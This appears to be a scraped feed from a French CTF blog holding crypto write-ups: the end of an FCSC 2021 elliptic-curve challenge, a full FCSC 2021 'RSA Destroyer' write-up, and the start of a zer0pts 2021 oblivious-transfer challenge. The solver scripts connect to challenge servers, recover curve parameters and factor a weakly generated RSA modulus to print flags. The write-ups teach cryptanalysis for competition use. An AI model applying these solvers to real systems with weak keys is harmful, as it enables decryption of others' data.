<p>Maintenant qu'on a réussi à exprimer <span class="math">\(a\)</span> en fonction de nos 2 points, on va essayer de trouver une équation qui relie seulement les coordonnées de <span class="math">\(P\)</span>,<span class="math">\(Q\)</span>, et <span class="math">\(a\)</span>. Pour ca, on peut soustraire <span class="math">\((1)\)</span> et <span class="math">\((2)\)</span> :</p>
<div class="math">$$y_p^2 - y_q^2 = x_p^3 - x_q^3 + a(x_p - x_q) \mod p \tag{6}$$</div>
<p>Puis on remplace <span class="math">\(a\)</span> dans <span class="math">\((6)\)</span> par l'expression trouvée dans <span class="math">\((5)\)</span></p>
<div class="math">$$y_p^2 - y_q^2 = x_p^3 - x_q^3 + (2y_p (\frac{y_p + y_q}{x_p - x_q}) - 3x_p^2)(x_p - x_q) \mod p \tag{7}$$</div>
<p>En passant tout à gauche et en simplifiant un peu, on obtient</p>
<div class="math">$$M = y_p^2 - y_q^2 - x_p^3 + x_q^3 - (2y_p (y_p + y_q) - 3x_p^2(x_p - x_q)) = 0 \mod p \tag{8}$$</div>
<p>Cool! On appelera <span class="math">\(M\)</span> le gros <span class="math">\(M\)</span>achin à gauche pour simplifier les choses.
Ici, <span class="math">\(M\)</span> est bien pratique car il ne dépends que de nos 2 points, donc on sait calculer sa valeur dans <span class="math">\(\mathbb{Z}\)</span>.</p>
<p>En plus, comme <span class="math">\(M = 0 \mod p\)</span>, on a l'équation suivante sur <span class="math">\(\mathbb{Z}\)</span>:</p>
<div class="math">$$M = kp \text{, avec } k \in \mathbb{Z} \tag{9}$$</div>
<p>Reste juste à calculer <span class="math">\(M\)</span>, à le factoriser, et son plus gros facteur devrait être <span class="math">\(p\)</span> :-).</p>
<h1>Calcul de <span class="math">\(a\)</span> et <span class="math">\(b\)</span></h1>
<p>Une fois qu'on a <span class="math">\(p\)</span>, il est facile de retrouver les autres paramètres car les équations de points sont linéaires en <span class="math">\(a\)</span> et <span class="math">\(b\)</span>.
Pour écrire le système correspondant, on peut d'abord réecrire</p>
<div class="math">$$ax_p + b = y_p^2 - x_p^3 \mod p \tag{10}$$</div>
<div class="math">$$ax_q + b = y_q^2 - x_q^3 \mod p \tag{11}$$</div>
<p>ce qui donne le système suivant :</p>
<div class="math">$$A = \begin{pmatrix}x_p & 1\\x_q & 1\end{pmatrix}, X = \begin{pmatrix}a\\b\end{pmatrix}, B = \begin{pmatrix}y_p^2 - x_p^3 \\ y_q^2 - x_q^3\end{pmatrix} \tag{12}$$</div>
<div class="math">$$AX = B \mod p \tag{13}$$</div>
<p>Pour trouver <span class="math">\(X\)</span>, on multiplie <span class="math">\((13)\)</span> à gauche par <span class="math">\(A^{-1}\)</span> (facile à calculer comme on travaille modulo un premier) et zoum c'est terminé.</p>
<p>Petite implem en sage des familles :</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"challenges1.france-cybersecurity-challenge.fr"</span><span class="p">,</span> <span class="mi">6002</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="p">(</span><span class="n">x1</span><span class="p">,</span><span class="n">y1</span><span class="p">)</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s2">"\d+"</span><span class="p">,</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()))</span>
<span class="p">(</span><span class="n">x2</span><span class="p">,</span><span class="n">y2</span><span class="p">)</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s2">"\d+"</span><span class="p">,</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()))</span>
<span class="n">M</span> <span class="o">=</span> <span class="p">(</span><span class="n">y1</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="n">y2</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="n">x1</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="n">x2</span><span class="o">**</span><span class="mi">3</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">y1</span><span class="o">*</span><span class="p">(</span><span class="n">y1</span> <span class="o">+</span> <span class="n">y2</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="mi">3</span><span class="o">*</span><span class="n">x1</span><span class="o">**</span><span class="mi">2</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">x1</span> <span class="o">-</span> <span class="n">x2</span><span class="p">))</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">factor</span><span class="p">(</span><span class="n">M</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="c1"># Récup le plus grand facteur </span>
<span class="n">F</span> <span class="o">=</span> <span class="n">GF</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">A</span> <span class="o">=</span> <span class="n">Matrix</span><span class="p">(</span><span class="n">F</span><span class="p">,</span> <span class="p">[[</span><span class="n">x1</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="n">x2</span><span class="p">,</span> <span class="mi">1</span><span class="p">]])</span>
<span class="n">B</span> <span class="o">=</span> <span class="n">vector</span><span class="p">(</span><span class="n">F</span><span class="p">,</span> <span class="p">[</span><span class="n">y1</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="n">x1</span><span class="o">**</span><span class="mi">3</span><span class="p">,</span> <span class="n">y2</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="n">x2</span><span class="o">**</span><span class="mi">3</span><span class="p">])</span>
<span class="n">a</span><span class="p">,</span><span class="n">b</span> <span class="o">=</span> <span class="n">A</span><span class="o">.</span><span class="n">solve_right</span><span class="p">(</span><span class="n">B</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">b</span><span class="p">))</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span> <span class="c1"># FCSC{3e244ae57e01787c60ef5d3a5c8aa87d3c945855289e40d375aad955da8f8bb4}</span>
</code></pre></div>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>FCSC 2021 - RSA Destroyer [FR]2021-05-01T00:00:00+02:002021-05-01T00:00:00+02:00Antoxydetag:w0nderland.fr,2021-05-01:/fcsc-2021-rsa-destroyer-fr.html<p>Il s'agit d'un challenge a 200 points au FCSC 2021. </p>
<p><img alt="RSA Destroyer description" src="https://w0nderland.fr/images/fcsc21/rsa-destroyer-desc.png"></p>
<p>Voici le contenu de <code>rsa_destroyer.py</code> :</p>
<div class="highlight"><pre><span></span><code><span class="c1"># **This** destroyes the RSA cryptosystem.</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">isPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Random.random</span> <span class="kn">import</span> <span class="n">getrandbits</span>
<span class="k">def</span> <span class="nf">fastPrime</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">eps</span> <span class="o">=</span> <span class="mi">32</span><span class="p">):</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">a</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">u</span> <span class="o">=</span> <span class="n">getrandbits</span><span class="p">(</span><span class="n">eps</span><span class="p">),</span> <span class="n">getrandbits</span><span class="p">(</span><span class="n">eps</span><span class="p">),</span> <span class="n">getrandbits</span><span class="p">(</span><span class="mi">4 …</span></code></pre></div><p>Il s'agit d'un challenge a 200 points au FCSC 2021. </p>
<p><img alt="RSA Destroyer description" src="https://w0nderland.fr/images/fcsc21/rsa-destroyer-desc.png"></p>
<p>Voici le contenu de <code>rsa_destroyer.py</code> :</p>
<div class="highlight"><pre><span></span><code><span class="c1"># **This** destroyes the RSA cryptosystem.</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">isPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Random.random</span> <span class="kn">import</span> <span class="n">getrandbits</span>
<span class="k">def</span> <span class="nf">fastPrime</span><span class="p">(</span><span class="n">bits</span><span class="p">,</span> <span class="n">eps</span> <span class="o">=</span> <span class="mi">32</span><span class="p">):</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">a</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">u</span> <span class="o">=</span> <span class="n">getrandbits</span><span class="p">(</span><span class="n">eps</span><span class="p">),</span> <span class="n">getrandbits</span><span class="p">(</span><span class="n">eps</span><span class="p">),</span> <span class="n">getrandbits</span><span class="p">(</span><span class="mi">4</span> <span class="o">*</span> <span class="n">eps</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="p">(</span><span class="mi">2</span> <span class="o">**</span> <span class="n">bits</span> <span class="o">-</span> <span class="n">e</span><span class="p">)</span> <span class="o">+</span> <span class="n">u</span>
<span class="k">if</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">p</span><span class="p">):</span>
<span class="k">return</span> <span class="n">p</span>
<span class="k">def</span> <span class="nf">generate</span><span class="p">(</span><span class="n">bits</span> <span class="o">=</span> <span class="mi">2048</span><span class="p">):</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">fastPrime</span><span class="p">(</span><span class="n">bits</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">fastPrime</span><span class="p">(</span><span class="n">bits</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">return</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span><span class="p">,</span> <span class="mi">2</span> <span class="o">**</span> <span class="mi">16</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">n</span><span class="p">,</span> <span class="n">e</span> <span class="o">=</span> <span class="n">generate</span><span class="p">()</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">"flag.txt"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"e = </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"n = </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"c = </span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</code></pre></div>
<p>On nous donne également la sortie d'une exécution : </p>
<div class="highlight"><pre><span></span><code>e = 65537
n = 444874973852804286630293120525019547982392964519934608680681255396764239795499482860997657663742247333836933457910503642061679607999128792657151145831533603267962151902191791568052924623477918783346790554917615006885807262798511378178431356140169891510484103567017335784087168191133679976921108092647227149255338118895695993606854195408940572577899625236666854544581041490770396755583819878794842828965377818593455075306655077757834318066860484956428681524881285058664687568640627516452658874124048546780999256640377399347893644988620246748059490751348919880389771785423781356133657866769589669296191804649195706447605778549172906037483
c = 95237912740655706597869523108017194269174342313145809624317482236690453533195825723998662803480781411928531102859302761153780930600026069381338457909962825300269319811329312349030179047249481841770850760719178786027583177746485281874469568361239865139247368477628439074063199551773499058148848583822114902905937101832069433266700866684389484684637264625534353716652481372979896491011990121581654120224008271898183948045975282945190669287662303053695007661315593832681112603350797162485915921143973984584370685793424167878687293688079969123983391456553965822470300435648090790538426859154898556069348437896975230111242040448169800372469
</code></pre></div>
<h1>Résolution</h1>
<p>Les nombres premiers générés par la fonction <code>fastPrime</code> se retrouvent tous être de la forme <span class="math">\(a2^{1024} - ae + u\)</span>, avec <span class="math">\(a\)</span> et <span class="math">\(e\)</span> inférieurs à <span class="math">\(2^{32}\)</span>, et <span class="math">\(u\)</span> inférieur à <span class="math">\(2^{128}\)</span>.</p>
<p>On écrit alors <span class="math">\(p\)</span> et <span class="math">\(q\)</span> de la manière suivante :</p>
<div class="math">$$p = a_p2^{1024} - a_pe_p + u_p$$</div>
<div class="math">$$q = a_q2^{1024} - a_qe_q + u_q$$</div>
<p>En posant <span class="math">\(X_p = -a_pe_p + u_p\)</span> et <span class="math">\(X_q = -a_qe_q + u_q\)</span>, on a
</p>
<div class="math">$$p = a_p2^{1024} + X_p$$</div>
<div class="math">$$q = a_q2^{1024} + X_q$$</div>
<p>Aussi,
</p>
<div class="math">$$n = p \times q = a_pa_q2^{2048} + (X_qa_p + X_pa_q) 2^{1024} + X_pX_q$$</div>
<p>On remarque que <span class="math">\(n\)</span> se décompose facilement en base <span class="math">\(2^{1024}\)</span>, avec de petits coefficients à chaque fois.
En effet,</p>
<ul>
<li>Le coefficient de <span class="math">\(2^{1024 \times 0}\)</span> est <span class="math">\(X_pX_q\)</span> qui est de l'ordre de <span class="math">\(2^{256}\)</span> par construction (le plus gros terme est <span class="math">\(u_pu_q\)</span>).</li>
<li>Le coefficient de <span class="math">\(2^{1024 \times 1}\)</span> est <span class="math">\(X_qa_p + X_pa_q\)</span>, qui est de l'ordre de <span class="math">\(2^{160}\)</span></li>
<li>Enfin, le coefficient de <span class="math">\(2^{1024 \times 2}\)</span> est simplement <span class="math">\(a_pa_q\)</span>, donc de l'ordre de <span class="math">\(2^{64}\)</span>.</li>
</ul>
<p>En observant <span class="math">\(n\)</span> en base 16, il est assez facile de voir chacun de ces coefficients : </p>
<p><img alt="N en base 16" src="https://w0nderland.fr/images/fcsc21/rsa-coeffs.png"></p>
<p>On peut facilement extraire leur valeurs, et obtenir les équations suivantes :</p>
<ul>
<li><span class="math">\(a_pa_q =\)</span> <code>0xbf0a8dd7d8f16cad</code> <span class="math">\(= 13765971169208528045\)</span></li>
<li><span class="math">\(X_qa_p + X_pa_q =\)</span> <code>0x1002c0b6fc6c3c2949b0a1e097f3c51eff2e8919</code> <span class="math">\(= 1462483866390329830822836164002145062407975244184\)</span></li>
<li><span class="math">\(X_pX_q =\)</span> <code>0x526e422445cbd24c429d60a4a3d75cfd20d09708a2945d9ad2d3b65a55f110eb</code> <span class="math">\(= 37284463254120829734596659590852831388840149328402126048476097877596519338219\)</span></li>
</ul>
<p>A partir de la, on peut regarder la factorisation de <span class="math">\(a_pa_q\)</span> afin d'essayer de retrouver <span class="math">\(a_p\)</span> et <span class="math">\(a_q\)</span> distinctement. De même pour <span class="math">\(X_p\)</span> et <span class="math">\(X_q\)</span>.</p>
<p>On note que même si <span class="math">\(X_pX_q\)</span> est un nombre d'environ 256 bits , sa factorisation est rapide car <span class="math">\(X_p\)</span> et <span class="math">\(X_q\)</span> n'ont aucune raison d'être premiers.</p>
<p>Une fois qu'on a trouvé <span class="math">\(a_p,a_q,X_p,X_q\)</span>, on a
</p>
<div class="math">$$a_p2^{1024} + X_p = p$$</div>
<div class="math">$$a_q2^{1024} + X_q = q$$</div>
<p>donc c'est gagné.</p>
<p>Voilà un bout de code qui essaye toutes les possibilités de factorisation pour ces deux coefficients:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="n">factor</span><span class="p">,</span> <span class="n">product</span>
<span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">ceil</span>
<span class="n">n</span> <span class="o">=</span> <span class="p">[</span><span class="o">..</span><span class="p">]</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">[</span><span class="o">..</span><span class="p">]</span>
<span class="c1"># Récupère les coefficients directement depuis n</span>
<span class="n">apaq</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">2048</span><span class="p">)</span>
<span class="n">XpXq</span> <span class="o">=</span> <span class="n">n</span> <span class="o">%</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">XpXq_facs</span> <span class="o">=</span> <span class="p">[</span><span class="n">f</span> <span class="k">for</span> <span class="n">f</span><span class="p">,</span><span class="n">_</span> <span class="ow">in</span> <span class="n">factor</span><span class="p">(</span><span class="n">XpXq</span><span class="p">)]</span>
<span class="n">apaq_facs</span> <span class="o">=</span> <span class="p">[</span><span class="n">f</span> <span class="k">for</span> <span class="n">f</span><span class="p">,</span><span class="n">_</span> <span class="ow">in</span> <span class="n">factor</span><span class="p">(</span><span class="n">apaq</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">apaq_facs</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">aps</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">apaq_facs</span><span class="p">,</span> <span class="n">i</span><span class="p">):</span>
<span class="n">ap</span> <span class="o">=</span> <span class="n">product</span><span class="p">(</span><span class="n">aps</span><span class="p">)</span>
<span class="n">aq</span> <span class="o">=</span> <span class="n">apaq</span> <span class="o">//</span> <span class="n">ap</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">XpXq_facs</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">Xps</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">XpXq_facs</span><span class="p">,</span> <span class="n">j</span><span class="p">):</span>
<span class="n">Xp</span> <span class="o">=</span> <span class="n">product</span><span class="p">(</span><span class="n">Xps</span><span class="p">)</span>
<span class="n">Xq</span> <span class="o">=</span> <span class="n">XpXq</span> <span class="o">//</span> <span class="n">Xp</span>
<span class="k">if</span> <span class="n">XpXq</span> <span class="o">+</span> <span class="p">(</span><span class="n">Xp</span><span class="o">*</span><span class="n">aq</span> <span class="o">+</span> <span class="n">Xq</span><span class="o">*</span><span class="n">ap</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="o">**</span><span class="mi">1024</span> <span class="o">+</span> <span class="n">ap</span><span class="o">*</span><span class="n">aq</span><span class="o">*</span><span class="mi">2</span><span class="o">**</span><span class="mi">2048</span> <span class="o">==</span> <span class="n">n</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">ap</span><span class="o">*</span><span class="mi">2</span><span class="o">**</span><span class="mi">1024</span> <span class="o">+</span> <span class="n">Xp</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">aq</span><span class="o">*</span><span class="mi">2</span><span class="o">**</span><span class="mi">1024</span> <span class="o">+</span> <span class="n">Xq</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="n">n</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">int</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">ceil</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">bit_length</span><span class="p">()</span><span class="o">/</span><span class="mi">8</span><span class="p">),</span> <span class="s2">"big"</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">()</span>
</code></pre></div>
<p>En le lancant, on obtient notre super flag <code>FCSC{cd43566923980e47f6630e82c2d9a55b388f01043bc78b9ce3354ce02acf22e8}</code> :-).</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Zer0pts 2021 - OT or not OT [EN]2021-03-07T00:00:00+01:002021-03-07T00:00:00+01:00Antoxydetag:w0nderland.fr,2021-03-07:/zer0pts-2021-ot-or-not-ot-en.html<h1>OT or not OT</h1>
<p>This was a crypto challenge at zer0pts CTF 2021.</p>
<p>We are given the script below, and an endpoint on which its runnning, <code>crypto.ctf.zer0pts.com:10130</code>.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">signal</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getStrongPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto …</span></code></pre></div><h1>OT or not OT</h1>
<p>This was a crypto challenge at zer0pts CTF 2021.</p>
<p>We are given the script below, and an endpoint on which its runnning, <code>crypto.ctf.zer0pts.com:10130</code>.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">signal</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getStrongPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">flag</span> <span class="kn">import</span> <span class="n">flag</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">getStrongPrime</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
